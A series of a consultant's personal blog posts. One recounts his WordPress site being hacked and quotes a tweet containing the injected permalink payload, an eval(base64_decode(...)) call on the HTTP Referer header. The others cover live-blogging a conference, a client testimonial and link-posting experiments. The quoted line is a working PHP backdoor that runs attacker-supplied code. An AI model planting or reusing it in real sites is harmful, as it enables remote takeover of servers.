For those of you who follow me via my @souterconsults account, you will have seen me have a paddy on this Friday last. That’s because my WP instance got hacked. Meh :$
So, I thought it would be useful to update anyone interested with a quick run-down, as it sets the scene for any future developments (like a complete re-build: bah).
I’m setting out here:
List of tweets, which pretty much explain what happened
Brief notes of more detail
Other links, if they’re not in the first two sections
Actions. Bah
Tweets
argh, wanting to publish my Cloud vids from YouTube, but WP is putting %&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ on URL 3:15 PM Sep 4th from twhirl
ok, I’ve switched off the navigation on the site & parked links to comments, archive, & recent posts to help avoid people getting borked 4:02 PM Sep 4th from twhirl
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UPDATE: Oops! I use Windows Live Writer, and was pretty much doing what it says above. It’s gone out via Twitter, so in case anyone’s wondering – you now have your explanation! ;-)
For all you lovely folk who can’t make it to Thinking Digital, I plan to use Cover it Live to write up my experience of Thinking Digital.
Hopefully the information below will give you an idea of how to use CiL (you get this text if you click on "Reader Information).
"Reader Information
There’s nothing to do during a Live Event other than read, watch and occasionally send in a comment or vote in the polling questions.
It’s not a chatroom. You go to largely find out what the writer has to say. An open chat with thirty or more readers turns into poor, disjointed content very quickly.
Your comments are published at the Writer’s discretion. The Writer can view all comments sent to them but only they can publish your comments for everyone to see.
Our ‘autoscroll’ feature ensures you’re always shown the newest content without having to refresh or scroll your screen. You can turn this on or off by using the controls at the bottom of the Viewer Window.
Subtle sound effects alert you to new content as the writer publishes it. This can also be turned on or off as needed."
You should be able to use the boxes below to send yourself a reminder as appropriate.
Please let me know if you have any issues via the Contact Us form,
UPDATE: I now think I’ll be at all the sessions, fingers crossed & laptop battery willing! ;-)
This post sets out the work I have been doing with CONNECT North East which, in its own words, is:
”the newest branch of the highly successful CONNECT network, which brokers introductions between young technology companies and investors.
CONNECT North East’s role is to strengthen the links between the region’s young technology businesses and the people and organisations they need to know if they are going to attract investment and grow.
CONNECT North East facilitates introductions to encourage partnership working, joint ventures, knowledge transfer and financial investment.”
I have been working with John Sargent of The Ideas Mine, and Caroline Theobald of Bridge Club Limited to help them use Social Media to market the recent CONNECT North East Investing in a Secure Future conference, and better connect with their target market – i.e. early stage technology companies and start-ups.
Testimonial
Caroline Theobald of Bridge Club Limited said:
“We engaged Justin because we knew that some of the innovative companies that national government departments are interested in were more likely to respond to the conference’s networking opportunities if we made them accessible through their preferred media channels: ie blogs and tweets.
New media is something that I know very little about – just appreciate it effectiveness – and so we invested in the services of an expert. An experience that exceeded our expectations in terms of profile and user-group engagement.”*
In sum, I set up their blog, taught them how to use Twitter, and live-blogged at the Conference itself.
A quick note to say that I’ve been experimenting with having Delicious post my links from the previous day to this blog (e.g.).
I’ve decided it would be better to have these links on my personal blog, so until I port Wellbanked over to Wordpress, it’ll have to wait!
btw, I’ve thinking of using the justingsouter.eu domain (+ .co.uk & .com) for Wellbanked. Please let me know what you think, using the form below or my shiny new contact form.
